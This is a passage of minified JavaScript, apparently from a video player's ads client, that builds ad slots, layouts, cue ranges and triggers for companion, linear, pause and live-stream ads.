new g3(O),F,V,O.impressionPings,z,M.adsEngagementPanelRenderer.adLayoutLoggingData,B)}),[];
if(M.adsEngagementPanelLayoutViewModel)return Cx(T,t.elementId,R,M.adsEngagementPanelLayoutViewModel.isContentVideoEngagementPanel,M.adsEngagementPanelLayoutViewModel.adVideoId,M.adsEngagementPanelLayoutViewModel.associatedCompositePlayerBytesLayoutId,A,Y,function(z,F,V,B){var D=x.C.get(),f=z.slotId,O=M.adsEngagementPanelLayoutViewModel;z=qN(x.xx.get(),z);return R8(D,f,"LAYOUT_TYPE_PANEL",new BC(O),F,V,z,M.adsEngagementPanelLayoutViewModel.adLayoutLoggingData,B)}),[];
if(M.actionCompanionAdRenderer!=null){if(M.actionCompanionAdRenderer.showWithoutLinkedMediaLayout)return VSD(x.Z.get(),x.j,x.C.get(),M.actionCompanionAdRenderer,A,Y,u,d);Cx(T,t.elementId,R,M.actionCompanionAdRenderer.isContentVideoCompanion,M.actionCompanionAdRenderer.adVideoId,M.actionCompanionAdRenderer.associatedCompositePlayerBytesLayoutId,A,Y,function(z,F,V,B){var D=x.C.get(),f=z.slotId,O=M.actionCompanionAdRenderer;z=qN(x.xx.get(),z);return Ab(D,f,"LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON",
new nO(O),F,V,O.impressionPings,z,M.actionCompanionAdRenderer.adLayoutLoggingData,B)})}else if(M.topBannerImageTextIconButtonedLayoutViewModel!==void 0){if(M.topBannerImageTextIconButtonedLayoutViewModel.showWithoutLinkedMediaLayout)return G7m(x.Z.get(),x.j,x.C.get(),M.topBannerImageTextIconButtonedLayoutViewModel,A,Y,u,d);
Cx(T,t.elementId,R,M.topBannerImageTextIconButtonedLayoutViewModel.isContentVideoCompanion,M.topBannerImageTextIconButtonedLayoutViewModel.adVideoId,M.topBannerImageTextIconButtonedLayoutViewModel.associatedCompositePlayerBytesLayoutId,A,Y,function(z,F,V,B){var D=x.C.get(),f=z.slotId,O=M.topBannerImageTextIconButtonedLayoutViewModel;z=qN(x.xx.get(),z);return R8(D,f,"LAYOUT_TYPE_COMPANION_WITH_ACTION_BUTTON",new aO(O),F,V,z,M.topBannerImageTextIconButtonedLayoutViewModel.adLayoutLoggingData,B)})}else if(M.imageCompanionAdRenderer)Cx(T,
t.elementId,R,M.imageCompanionAdRenderer.isContentVideoCompanion,M.imageCompanionAdRenderer.adVideoId,M.imageCompanionAdRenderer.associatedCompositePlayerBytesLayoutId,A,Y,function(z,F,V,B){var D=x.C.get(),f=z.slotId,O=M.imageCompanionAdRenderer;
z=qN(x.xx.get(),z);return Ab(D,f,"LAYOUT_TYPE_COMPANION_WITH_IMAGE",new Nl(O),F,V,O.impressionPings,z,M.imageCompanionAdRenderer.adLayoutLoggingData,B)});
else if(M.bannerImageLayoutViewModel)Cx(T,t.elementId,R,M.bannerImageLayoutViewModel.isContentVideoCompanion,M.bannerImageLayoutViewModel.adVideoId,M.bannerImageLayoutViewModel.associatedCompositePlayerBytesLayoutId,A,Y,function(z,F,V,B){var D=x.C.get(),f=z.slotId,O=M.bannerImageLayoutViewModel;z=qN(x.xx.get(),z);return R8(D,f,"LAYOUT_TYPE_COMPANION_WITH_IMAGE",new Jd(O),F,V,z,M.bannerImageLayoutViewModel.adLayoutLoggingData,B)});
else if(M.shoppingCompanionCarouselRenderer)Cx(T,t.elementId,R,M.shoppingCompanionCarouselRenderer.isContentVideoCompanion,M.shoppingCompanionCarouselRenderer.adVideoId,M.shoppingCompanionCarouselRenderer.associatedCompositePlayerBytesLayoutId,A,Y,function(z,F,V,B){var D=x.C.get(),f=z.slotId,O=M.shoppingCompanionCarouselRenderer;z=qN(x.xx.get(),z);return Ab(D,f,"LAYOUT_TYPE_COMPANION_WITH_SHOPPING",new CO(O),F,V,O.impressionPings,z,M.shoppingCompanionCarouselRenderer.adLayoutLoggingData,B)});
else if(M.adBreakServiceRenderer){if(!h13(t))return[];if(R==="AD_PLACEMENT_KIND_PAUSE")return FiJ(x.Z.get(),A,Y,t.renderer.adBreakServiceRenderer,u);if(R!=="AD_PLACEMENT_KIND_CUE_POINT_TRIGGERED"&&R!=="AD_PLACEMENT_KIND_PREFETCH_TRIGGERED")return k75(x.Z.get(),A,Y,t.renderer.adBreakServiceRenderer,u,H,I);Z.B9||E3("Received non-live cue point triggered AdBreakServiceRenderer",void 0,void 0,{kind:R,adPlacementConfig:A,daiEnabledForContentVideo:String(I),isServedFromLiveInfra:String(Z.B9),clientPlaybackNonce:Z.clientPlaybackNonce});
if(R==="AD_PLACEMENT_KIND_PREFETCH_TRIGGERED"){if(!x.IU)return new w("Received AD_PLACEMENT_KIND_PREFETCH_TRIGGERED with no playerControlsApiProvider set for interface");if(!x.wN)return new w("Received AD_PLACEMENT_KIND_PREFETCH_TRIGGERED with no PrefetchTriggerAdapter set for interface");x.wN.Rt({adPlacementRenderer:t,contentCpn:u,Mg:H});H=x.IU.get().getCurrentTimeSec(1,!1);return R63(x.Z.get(),t.renderer.adBreakServiceRenderer,A,H,u,Y,I)}if(!x.UU)return new w("Received AD_PLACEMENT_KIND_CUE_POINT_TRIGGERED with no CuePointOpportunityAdapter set for interface");
x.UU.Rt({adPlacementRenderer:t,contentCpn:u,Mg:H})}else{if(M.clientForecastingAdRenderer)return Jdi(x.Z.get(),x.C.get(),A,Y,M.clientForecastingAdRenderer,u,H,d);if(M.invideoOverlayAdRenderer)return OO4(x.Z.get(),x.C.get(),A,Y,M.invideoOverlayAdRenderer,u,H,d);if(M.instreamAdPlayerOverlayRenderer)return QO3(x.Z.get(),x.C.get(),A,Y,M.instreamAdPlayerOverlayRenderer,u,d);if((M.linearAdSequenceRenderer||M.instreamVideoAdRenderer)&&b)return T3D(x.Z.get(),x.C.get(),t,u,d,l,!x.Lf.get().U.Y().B("html5_override_ad_video_length_killswitch"));
if(M.linearAdSequenceRenderer&&!b){if(E)return[];NJ(T,M,R);if(M.linearAdSequenceRenderer.adLayoutMetadata){if(!R1X(M.linearAdSequenceRenderer))return new w("Received invalid LinearAdSequenceRenderer.")}else if(M.linearAdSequenceRenderer.linearAds==null)return new w("Received invalid LinearAdSequenceRenderer.");if(g.N(M.linearAdSequenceRenderer.adStart,dZ)){E3("Found AdNotify in LinearAdSequenceRenderer");t=g.N(M.linearAdSequenceRenderer.adStart,dZ);if(!ogq(t))return new w("Invalid AdMessageRenderer.");
I=M.linearAdSequenceRenderer.linearAds;return sHD(x.K.get(),x.Z.get(),x.C.get(),x.xx.get(),A,Y,t,TO(M.linearAdSequenceRenderer.adLayoutMetadata)?M.linearAdSequenceRenderer.adLayoutMetadata:void 0,I,u,H,Z,d,e,x.loadPolicy,x.Lf.get())}return I43(x.Z.get(),x.C.get(),A,Y,M.linearAdSequenceRenderer.linearAds,TO(M.linearAdSequenceRenderer.adLayoutMetadata)?M.linearAdSequenceRenderer.adLayoutMetadata:void 0,u,H,Z,d,e,x.loadPolicy,x.Lf.get(),m)}if(!M.remoteSlotsRenderer||I){if(M.instreamVideoAdRenderer&&
!b){if(E)return[];NJ(T,M,R);return ZOC(x.Z.get(),x.C.get(),A,Y,M.instreamVideoAdRenderer,u,H,Z,d,e,x.loadPolicy,x.Lf.get(),x.xx.get(),m)}if(M.instreamSurveyAdRenderer)return jHf(x.Z.get(),x.C.get(),M.instreamSurveyAdRenderer,A,Y,u,d,pG(x.Lf.get(),"supports_multi_step_on_desktop"));if(M.sandwichedLinearAdRenderer!=null)return PDf(M.sandwichedLinearAdRenderer)?g.N(M.sandwichedLinearAdRenderer.adVideoStart,dZ)?(E3("Found AdNotify in SandwichedLinearAdRenderer"),t=g.N(M.sandwichedLinearAdRenderer.adVideoStart,
dZ),ogq(t)?(I=g.N(M.sandwichedLinearAdRenderer.linearAd,jA))?iOC(t,I,A,x.K.get(),x.Z.get(),x.C.get(),x.xx.get(),Y,u,H,Z,d,e,x.loadPolicy,x.Lf.get()):new w("Missing IVAR from Sandwich"):new w("Invalid AdMessageRenderer.")):I43(x.Z.get(),x.C.get(),A,Y,[M.sandwichedLinearAdRenderer.adVideoStart,M.sandwichedLinearAdRenderer.linearAd],void 0,u,H,Z,d,e,x.loadPolicy,x.Lf.get()):new w("Received invalid SandwichedLinearAdRenderer.");if(M.videoAdTrackingRenderer!=null)return Z=pG(x.Lf.get(),"enable_h5_shorts_ad_terminal_events")&&
Z.qg,ydi(x.Z.get(),x.C.get(),M.videoAdTrackingRenderer,A,Y,u,H,Z,d)}}return[]};
PA=function(x,T,t,u,H,I,E,Z){g.W.call(this);var e=this;this.Z=x;this.j=T;this.CF=u;this.IU=H;this.Lf=I;this.RU=E;this.Iu=Z;this.C=null;t.get().addListener(this);this.addOnDisposeCallback(function(){t.T9()||t.get().removeListener(e)});
u.get().addListener(this);this.addOnDisposeCallback(function(){u.T9()||u.get().removeListener(e)})};
SvX=function(x,T,t){var u=x.IU.get().getCurrentTimeSec(1,!1);x.Lf.get().U.Y().AM()&&sO(x.RU.get(),"sdai","onopp.1;evt."+t.event+";start."+t.startSecs.toFixed(3)+";d."+t.U0.toFixed(3));mx(x.Z.get(),"OPPORTUNITY_TYPE_LIVE_STREAM_BREAK_SIGNAL",function(){var H=x.j.get(),I=T.adPlacementRenderer.renderer.adBreakServiceRenderer,E=T.contentCpn,Z=T.adPlacementRenderer.adSlotLoggingData,e=Ss(x.Lf.get()),l=x.RU;if(H.Lf.get().U.Y().experiments.aU("enable_smearing_expansion_dai")){var m=g.Z9(H.Lf.get().U.Y().experiments,
"max_prefetch_window_sec_for_livestream_optimization");var d=g.Z9(H.Lf.get().U.Y().experiments,"min_prefetch_offset_sec_for_livestream_optimization");e={K7:P04(t),yd:!1,cueProcessedMs:u*1E3};var M=t.startSecs+t.U0;if(u===0)e.yv=new SW(0,M*1E3);else{d=t.startSecs-d;var A=d-u;e.yv=A<=0?new SW(d*1E3,M*1E3):new SW(Math.floor(u+Math.random()*Math.min(A,m))*1E3,M*1E3)}m=e}else m={K7:P04(t),yd:!1},M=t.startSecs+t.U0,t.startSecs<=u?e=new SW((t.startSecs-4)*1E3,M*1E3):(d=Math.max(0,t.startSecs-u-10),e=new SW(Math.floor(u+
Math.random()*(e?u===0?0:Math.min(d,5):d))*1E3,M*1E3)),m.yv=e;H=Wb(H,I,E,m,Z,[new cl(t)]);l.get().U.FU(m.yv.start/1E3-u,t.startSecs-u);return[H]})};
cA=function(x){var T,t=(T=uS(x.clientMetadata,"metadata_type_player_bytes_callback_ref"))==null?void 0:T.current;if(!t)return null;T=uS(x.clientMetadata,"metadata_type_ad_pod_skip_target_callback_ref");var u=x.layoutId,H=uS(x.clientMetadata,"metadata_type_content_cpn"),I=uS(x.clientMetadata,"metadata_type_instream_ad_player_overlay_renderer"),E=uS(x.clientMetadata,"metadata_type_player_overlay_layout_renderer"),Z=uS(x.clientMetadata,"metadata_type_player_underlay_renderer"),e=uS(x.clientMetadata,
"metadata_type_ad_placement_config"),l=uS(x.clientMetadata,"metadata_type_video_length_seconds");var m=xv(x.clientMetadata,"METADATA_TYPE_MEDIA_LAYOUT_DURATION_seconds")?uS(x.clientMetadata,"METADATA_TYPE_MEDIA_LAYOUT_DURATION_seconds"):xv(x.clientMetadata,"metadata_type_layout_enter_ms")&&xv(x.clientMetadata,"metadata_type_layout_exit_ms")?(uS(x.clientMetadata,"metadata_type_layout_exit_ms")-uS(x.clientMetadata,"metadata_type_layout_enter_ms"))/1E3:void 0;return{gt:u,contentCpn:H,rJ:t,LG:T,instreamAdPlayerOverlayRenderer:I,
playerOverlayLayoutRenderer:E,instreamAdPlayerUnderlayRenderer:Z,adPlacementConfig:e,videoLengthSeconds:l,Ol:m,inPlayerLayoutId:uS(x.clientMetadata,"metadata_type_linked_in_player_layout_id"),inPlayerSlotId:uS(x.clientMetadata,"metadata_type_linked_in_player_slot_id")}};
Yv4=function(x,T){return cxv(x,T)};
Ucf=function(x,T){T=cxv(x,T);if(!T)return null;var t;T.Ol=(t=uS(x.clientMetadata,"metadata_type_ad_pod_info"))==null?void 0:t.adBreakRemainingLengthSeconds;return T};
cxv=function(x,T){var t,u=(t=uS(x.clientMetadata,"metadata_type_player_bytes_callback_ref"))==null?void 0:t.current;if(!u)return null;t=y35(x,T);return{Pz:DSf(x,T),adPlacementConfig:uS(x.clientMetadata,"metadata_type_ad_placement_config"),Hz:t,contentCpn:uS(x.clientMetadata,"metadata_type_content_cpn"),inPlayerLayoutId:uS(x.clientMetadata,"metadata_type_linked_in_player_layout_id"),inPlayerSlotId:uS(x.clientMetadata,"metadata_type_linked_in_player_slot_id"),instreamAdPlayerOverlayRenderer:uS(x.clientMetadata,
"metadata_type_instream_ad_player_overlay_renderer"),playerOverlayLayoutRenderer:void 0,instreamAdPlayerUnderlayRenderer:void 0,Ol:void 0,rJ:u,gt:x.layoutId,videoLengthSeconds:uS(x.clientMetadata,"metadata_type_video_length_seconds")}};
Ys=function(x,T,t,u,H,I,E,Z,e){g.W.call(this);this.K=x;this.D=T;this.T=t;this.j=u;this.C=H;this.Z=I;this.xx=E;this.Lf=Z;this.Bv=e;this.KK=!0};
bc3=function(x,T,t){return ll5(x.C.get(),T.contentCpn,T.gt,function(u){return mlf(x.Z.get(),u.slotId,t,T.adPlacementConfig,T.gt,qN(x.xx.get(),u))})};
U8=function(x,T,t,u,H,I,E,Z){g.W.call(this);this.Z=x;this.C=T;this.j=t;this.Lf=u;this.K=H;this.Bv=I;this.IU=E;this.MU=Z};
bn=function(x){g.W.call(this);this.C=x};
mx=function(x,T,t,u){x.C().s0(T,u);t=t();x=x.C();x.NJ.NA("ADS_CLIENT_EVENT_TYPE_OPPORTUNITY_PROCESSED",T,u,t);T=g.S(t);for(t=T.next();!t.done;t=T.next())a:{u=x;t=t.value;u.NJ.jd("ADS_CLIENT_EVENT_TYPE_SLOT_RECEIVED",t);u.NJ.jd("ADS_CLIENT_EVENT_TYPE_SCHEDULE_SLOT_REQUESTED",t);try{var H=u.C;if(g.Y9(t.slotId))throw new w("Slot ID was empty",void 0,"ADS_CLIENT_ERROR_MESSAGE_INVALID_SLOT");if(RT(H,t))throw new w("Duplicate registration for slot.",{slotId:t.slotId,slotEntryTriggerType:t.slotEntryTrigger.triggerType},
"ADS_CLIENT_ERROR_MESSAGE_DUPLICATE_SLOT");if(!H.q0.kf.has(t.slotType))throw new w("No fulfillment adapter factory registered for slot of type: "+t.slotType,void 0,"ADS_CLIENT_ERROR_MESSAGE_NO_FULFILLMENT_ADAPTER_REGISTERED");if(!H.q0.HV.has(t.slotType))throw new w("No SlotAdapterFactory registered for slot of type: "+t.slotType,void 0,"ADS_CLIENT_ERROR_MESSAGE_NO_SLOT_ADAPTER_REGISTERED");aT(H,"TRIGGER_CATEGORY_SLOT_ENTRY",t.slotEntryTrigger?[t.slotEntryTrigger]:[]);aT(H,"TRIGGER_CATEGORY_SLOT_FULFILLMENT",
t.slotFulfillmentTriggers);aT(H,"TRIGGER_CATEGORY_SLOT_EXPIRATION",t.slotExpirationTriggers);var I=u.C,E=t.slotType+"_"+t.slotPhysicalPosition,Z=vq(I,E);if(RT(I,t))throw new w("Duplicate slots not supported",void 0,"ADS_CLIENT_ERROR_MESSAGE_DUPLICATE_SLOT");Z.set(t.slotId,new nxf(t));I.C.set(E,Z)}catch(sH){sH instanceof w&&sH.Ta?(u.NJ.u3("ADS_CLIENT_ERROR_TYPE_REGISTER_SLOT_FAILED",sH.Ta,t),E3(sH,t,void 0,void 0,sH.r$)):(u.NJ.u3("ADS_CLIENT_ERROR_TYPE_REGISTER_SLOT_FAILED","ADS_CLIENT_ERROR_MESSAGE_UNEXPECTED_ERROR",
t),E3(sH,t));break a}RT(u.C,t).D=!0;try{var e=u.C,l=RT(e,t),m=t.slotEntryTrigger,d=e.q0.UC.get(m.triggerType);d&&(d.VX("TRIGGER_CATEGORY_SLOT_ENTRY",m,t,null),l.uG.set(m.triggerId,d));for(var M=g.S(t.slotFulfillmentTriggers),A=M.next();!A.done;A=M.next()){var R=A.value,Y=e.q0.UC.get(R.triggerType);Y&&(Y.VX("TRIGGER_CATEGORY_SLOT_FULFILLMENT",R,t,null),l.ZZ.set(R.triggerId,Y))}for(var b=g.S(t.slotExpirationTriggers),z=b.next();!z.done;z=b.next()){var F=z.value,V=e.q0.UC.get(F.triggerType);V&&(V.VX("TRIGGER_CATEGORY_SLOT_EXPIRATION",
F,t,null),l.S.set(F.triggerId,V))}var B=e.q0.kf.get(t.slotType).get().build(e.j,t);l.N=B;var D=e.q0.HV.get(t.slotType).get().build(e.T,t);D.init();l.Z=D}catch(sH){sH instanceof w&&sH.Ta?(u.NJ.u3("ADS_CLIENT_ERROR_TYPE_SCHEDULE_SLOT_FAILED",sH.Ta,t),E3(sH,t,void 0,void 0,sH.r$)):(u.NJ.u3("ADS_CLIENT_ERROR_TYPE_SCHEDULE_SLOT_FAILED","ADS_CLIENT_ERROR_MESSAGE_UNEXPECTED_ERROR",t),E3(sH,t));di(u,t,!0);break a}u.NJ.jd("ADS_CLIENT_EVENT_TYPE_SLOT_SCHEDULED",t);u.C.Ji(t);for(var f=g.S(u.Z),O=f.next();!O.done;O=
f.next())O.value.Ji(t);cq(u,t)}};
rZ=function(x,T,t,u,H){g.W.call(this);var I=this;this.Z=x;this.j=T;this.Gs=t;this.context=H;this.C=new Map;u.get().addListener(this);this.addOnDisposeCallback(function(){u.T9()||u.get().removeListener(I)})};
Y6q=function(x,T){var t=0x8000000000000;var u=0;for(var H=g.S(T.slotFulfillmentTriggers),I=H.next();!I.done;I=H.next())I=I.value,I instanceof aM?(t=Math.min(t,I.C.start),u=Math.max(u,I.C.end)):E3("Found unexpected fulfillment trigger for throttled slot.",T,null,{fulfillmentTrigger:I});u=new SW(t,u);t="throttledadcuerange:"+T.slotId;x.C.set(t,T);x.Gs.get().addCueRange(t,u.start,u.end,!1,x);YX(x.context.Lf.get())&&(T=u.start,u=u.end,H={},x.context.kz.Kz("tcrr",(H.cid=t,H.sm=T,H.em=u,H)))};
zz=function(){g.W.apply(this,arguments);this.KK=!0;this.PE=new Map;this.C=new Map};
ks=function(x,T){x=g.S(x.PE.values());for(var t=x.next();!t.done;t=x.next())if(t.value.layoutId===T)return!0;return!1};
F0=function(x,T){x=g.S(x.C.values());for(var t=x.next();!t.done;t=x.next()){t=g.S(t.value);for(var u=t.next();!u.done;u=t.next())if(u=u.value,u.layoutId===T)return u}E3("Trying to retrieve an unknown layout",void 0,void 0,{isEmpty:String(g.Y9(T)),layoutId:T})};
rxq=function(){this.C=new Map};
z6H=function(x,T){this.callback=x;this.slot=T};
vA=function(){};
kXX=function(x,T,t){this.callback=x;this.slot=T;this.IU=t};
Fbi=function(x,T,t){this.callback=x;this.slot=T;this.IU=t;this.Z=!1;this.C=0};
h63=function(x,T,t){this.callback=x;this.slot=T;this.IU=t};
Vy=function(x){this.IU=x};
Gz=function(x){g.W.call(this);this.s3=x;this.fz=new Map};
LF=function(x,T){for(var t=[],u=g.S(x.fz.values()),H=u.next();!H.done;H=u.next()){H=H.value;var I=H.trigger;I instanceof KV&&I.triggeringLayoutId===T&&t.push(H)}t.length?kv(x.s3(),t):E3("Survey is submitted but no registered triggers can be activated.")};
nF=function(x,T,t){Gz.call(this,x);var u=this;this.Lf=t;T.get().addListener(this);this.addOnDisposeCallback(function(){T.T9()||T.get().removeListener(u)})};
a8=function(x){g.W.call(this);this.C=x;this.KK=!0;this.fz=new Map;this.T=new Set;this.j=new Set;this.K=new Set;this.D=new Set;this.Z=new Set};
gZ=function(x){g.W.call(this);this.C=x;this.fz=new Map};
BA=function(x,T){for(var t=[],u=g.S(x.fz.values()),H=u.next();!H.done;H=u.next())H=H.value,H.trigger.C===T.layoutId&&t.push(H);t.length&&kv(x.C(),t)};
WA=function(x,T,t){g.W.call(this);var u=this;this.C=x;this.context=t;this.fz=new Map;T.get().addListener(this);this.addOnDisposeCallback(function(){T.T9()||T.get().removeListener(u)})};
DW=function(x,T,t,u,H){g.W.call(this);var I=this;this.Z=x;this.Gs=T;this.IU=t;this.Bv=u;this.context=H;this.KK=!0;this.fz=new Map;this.C=new Set;t.get().addListener(this);this.addOnDisposeCallback(function(){t.T9()||t.get().removeListener(I)})};
vtV=function(x,T,t,u,H,I,E,Z,e,l){if(AH(x.Bv.get(),1).clientPlaybackNonce!==e)throw new w("Cannot register CueRange-based trigger for different content CPN",{trigger:t});x.fz.set(t.triggerId,{Ab:new xY(T,t,u,H),cueRangeId:I});x.Gs.get().addCueRange(I,E,Z,l,x);YX(x.context.Lf.get())&&(e={},x.context.kz.Kz("crr",(e.ca=T,e.tt=t.triggerType,e.st=u.slotType,e.lt=H==null?void 0:H.layoutType,e.cid=I,e.sm=E,e.em=Z,e)))};
Vtf=function(x,T){x=g.S(x.fz.entries());for(var t=x.next();!t.done;t=x.next()){var u=g.S(t.value);t=u.next().value;u=u.next().value;if(T===u.cueRangeId)return t}return""};
yy=function(x,T){g.W.call(this);var t=this;this.K=x;this.Z=new Map;this.j=new Map;this.C=null;T.get().addListener(this);this.addOnDisposeCallback(function(){T.T9()||T.get().removeListener(t)});
var u;this.C=((u=T.get().YQ)==null?void 0:u.slotId)||null};
GXm=function(x,T){var t=[];x=g.S(x.values());for(var u=x.next();!u.done;u=x.next())u=u.value,u.slot.slotId===T&&t.push(u);return t};
NT=function(x){g.W.call(this);this.C=x;this.KK=!0;this.fz=new Map};
pi=function(x,T,t){T=T.layoutId;for(var u=[],H=g.S(x.fz.values()),I=H.next();!I.done;I=H.next())if(I=I.value,I.trigger instanceof Df){var E;if(E=I.trigger.layoutId===T){E=t;var Z=kMv.get(I.category);E=Z?Z===E:!1}E&&u.push(I)}u.length&&kv(x.C(),u)};
Jb=function(x){g.W.call(this);this.C=x;this.KK=!0;this.fz=new Map};
CF=function(x,T,t,u,H){g.W.call(this);var I=this;this.T=x;this.CF=T;this.IU=t;this.RU=u;this.C=null;this.KK=!0;this.fz=new Map;this.j=new Map;T.get().addListener(this);this.addOnDisposeCallback(function(){T.T9()||T.get().removeListener(I)});
H.get().addListener(this);this.addOnDisposeCallback(function(){H.T9()||H.get().removeListener(I)})};
ntq=function(x){x.C&&(x.Z&&(x.Z.stop(),x.Z.start()),LbH(x,"TRIGGER_TYPE_PREFETCH_CACHE_EXPIRED"))};
LbH=function(x,T){for(var t=[],u=g.S(x.fz.values()),H=u.next();!H.done;H=u.next())H=H.value,H.trigger.triggerType===T&&t.push(H);t.length>0&&kv(x.T(),t)};
Qy=function(x,T,t,u,H){H=H===void 0?!0:H;for(var I=[],E=g.S(x.fz.values()),Z=E.next();!Z.done;Z=E.next()){Z=Z.value;var e=Z.trigger;if(e.triggerType===T){if(e instanceof Gf||e instanceof LV||e instanceof gL){if(H&&e.breakDurationMs!==t)continue;if(!H&&e.breakDurationMs===t)continue;if(u.has(e.triggerId))continue}I.push(Z)}}I.length>0&&kv(x.T(),I)};
a4J=function(x){x=x.adPlacementRenderer.config.adPlacementConfig;if(!x.prefetchModeConfig||!x.prefetchModeConfig.cacheFetchSmearingDurationMs)return 0;x=Number(x.prefetchModeConfig.cacheFetchSmearingDurationMs);return isNaN(x)||x<=0?0:Math.floor(Math.random()*x)};
gtJ=function(x){x=x.adPlacementRenderer.config.adPlacementConfig;if(x.prefetchModeConfig&&x.prefetchModeConfig.cacheFetchRefreshDurationMs&&(x=Number(x.prefetchModeConfig.cacheFetchRefreshDurationMs),!(isNaN(x)||x<=0)))return x};
pF=function(x){x.C=null;x.fz.clear();x.j.clear();x.Z&&x.Z.stop();x.K&&x.K.stop()};
O8=function(x){g.W.call(this);this.j=x;this.KK=!0;this.fz=new Map;this.C=new Map;this.Z=new Map};
B8f=function(x,T){var t=[];if(T=x.C.get(T.layoutId)){T=g.S(T);for(var u=T.next();!u.done;u=T.next())(u=x.Z.get(u.value.triggerId))&&t.push(u)}return t};
fF=function(x){g.W.call(this);this.C=x;this.fz=new Map};
Wbv=function(x,T){for(var t=[],u=g.S(x.fz.values()),H=u.next();!H.done;H=u.next())H=H.value,H.trigger instanceof Y_&&H.trigger.slotId===T&&t.push(H);t.length>=1&&kv(x.C(),t)};
DcC=function(x,T){var t={slotId:d6(T,"SLOT_TYPE_IN_PLAYER"),slotType:"SLOT_TYPE_IN_PLAYER",slotPhysicalPosition:1,slotEntryTrigger:void 0,slotFulfillmentTriggers:[],slotExpirationTriggers:[],Yc:"surface",clientMetadata:new sn([])},u=Object,H=u.assign;T=On(T,"LAYOUT_TYPE_TEXT_BANNER_OVERLAY",t.slotId);T={layoutId:T,layoutType:"LAYOUT_TYPE_TEXT_BANNER_OVERLAY",uN:new Map,layoutExitNormalTriggers:[],layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"surface",
clientMetadata:new sn([]),FV:cPi(!1,t.slotId,t.slotType,t.slotPhysicalPosition,t.Yc,t.slotEntryTrigger,t.slotFulfillmentTriggers,t.slotExpirationTriggers,T,"LAYOUT_TYPE_TEXT_BANNER_OVERLAY","surface")};return H.call(u,{},x,{AQQ:!0,slot:t,layout:T})};
z14=function(x,T,t,u){var H=x.kind;u=u?!1:!x.hideCueRangeMarker;switch(H){case "AD_PLACEMENT_KIND_START":return u={K7:new SW(-0x8000000000000,-0x8000000000000),yd:u},t!=null&&(u.yv=new SW(-0x8000000000000,-0x8000000000000)),u;case "AD_PLACEMENT_KIND_END":return u={K7:new SW(0x7ffffffffffff,0x8000000000000),yd:u},t!=null&&(u.yv=new SW(Math.max(0,T-t),0x8000000000000)),u;case "AD_PLACEMENT_KIND_MILLISECONDS":H=x.adTimeOffset;H.offsetStartMilliseconds||E3("AD_PLACEMENT_KIND_MILLISECONDS missing start milliseconds.");
H.offsetEndMilliseconds||E3("AD_PLACEMENT_KIND_MILLISECONDS missing end milliseconds.");x=Number(H.offsetStartMilliseconds);H=Number(H.offsetEndMilliseconds);H===-1&&(H=T);if(Number.isNaN(x)||Number.isNaN(H)||x>H)return new w("AD_PLACEMENT_KIND_MILLISECONDS endMs needs to be >= startMs.",{offsetStartMs:x,offsetEndMs:H},"ADS_CLIENT_ERROR_MESSAGE_AD_PLACEMENT_END_SHOULD_GREATER_THAN_START",H===T&&x-500<=H);u={K7:new SW(x,H),yd:u};if(t!=null){x=Math.max(0,x-t);if(x===H)return u;u.yv=new SW(x,H)}return u;
default:return new w("AdPlacementKind not supported in convertToRange.",{kind:H,adPlacementConfig:x})}};
P04=function(x){var T=x.startSecs*1E3;return new SW(T,T+x.U0*1E3)};
yxD=function(x){if(!x||!x.adPlacements&&!x.adSlots)return!1;for(var T=g.S(x.adPlacements||[]),t=T.next();!t.done;t=T.next())if(t=t.value)if(t=t.adPlacementRenderer,t!=null&&(t.config&&t.config.adPlacementConfig&&t.config.adPlacementConfig.kind)==="AD_PLACEMENT_KIND_START")return!0;x=g.S(x.adSlots||[]);for(T=x.next();!T.done;T=x.next()){var u=t=void 0;if(((t=g.N(T.value,Bb))==null?void 0:(u=t.adSlotMetadata)==null?void 0:u.triggerEvent)==="SLOT_TRIGGER_EVENT_BEFORE_CONTENT")return!0}return!1};
wZ=function(x){this.Lf=x;this.Z=new Map;this.C=new Map;this.j=new Map};
d6=function(x,T){if(KF(x.Lf.get())){var t=x.Z.get(T)||0;t++;x.Z.set(T,t);return T+"_"+t}return g.Sq(16)};
On=function(x,T,t){if(KF(x.Lf.get())){var u=x.C.get(T)||0;u++;x.C.set(T,u);return t+"_"+T+"_"+u}return g.Sq(16)};
HA=function(x,T){if(KF(x.Lf.get())){var t=x.j.get(T)||0;t++;x.j.set(T,t);return T+"_"+t}return g.Sq(16)};
N8X=function(x){var T=[new et(x.gt),new Ax(x.rJ),new O7(x.adPlacementConfig),new Yt(x.videoLengthSeconds),new Bl(x.Ol)];x.instreamAdPlayerOverlayRenderer&&T.push(new oH(x.instreamAdPlayerOverlayRenderer));x.playerOverlayLayoutRenderer&&T.push(new tx(x.playerOverlayLayoutRenderer));x.LG&&T.push(new XS(x.LG));return T};
Jxi=function(x,T,t,u,H,I){x=t.inPlayerLayoutId?t.inPlayerLayoutId:On(I,"LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY",x);var E,Z,e=t.instreamAdPlayerOverlayRenderer?(E=t.instreamAdPlayerOverlayRenderer)==null?void 0:E.adLayoutLoggingData:(Z=t.playerOverlayLayoutRenderer)==null?void 0:Z.adLayoutLoggingData;E={layoutId:x,layoutType:"LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY",Yc:T};return{layoutId:x,layoutType:"LAYOUT_TYPE_MEDIA_LAYOUT_PLAYER_OVERLAY",uN:new Map,layoutExitNormalTriggers:[new v1(function(l){return HA(I,
l)},t.gt)],
layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:T,clientMetadata:u,FV:H(E),adLayoutLoggingData:e}};
X0=function(x,T){var t=this;this.Z=x;this.Lf=T;this.C=function(u){return HA(t.Z.get(),u)}};
mlf=function(x,T,t,u,H,I){t=new sn([new u0(t),new O7(u)]);T=On(x.Z.get(),"LAYOUT_TYPE_UNDERLAY_TEXT_ICON_BUTTON",T);u={layoutId:T,layoutType:"LAYOUT_TYPE_UNDERLAY_TEXT_ICON_BUTTON",Yc:"core"};return{layoutId:T,layoutType:"LAYOUT_TYPE_UNDERLAY_TEXT_ICON_BUTTON",uN:new Map,layoutExitNormalTriggers:[new v1(function(E){return HA(x.Z.get(),E)},H)],
layoutExitSkipTriggers:[],layoutExitMuteTriggers:[],layoutExitUserInputSubmittedTriggers:[],Aq:[],Yc:"core",clientMetadata:t,FV:I(u),adLayoutLoggingData:void 0}};
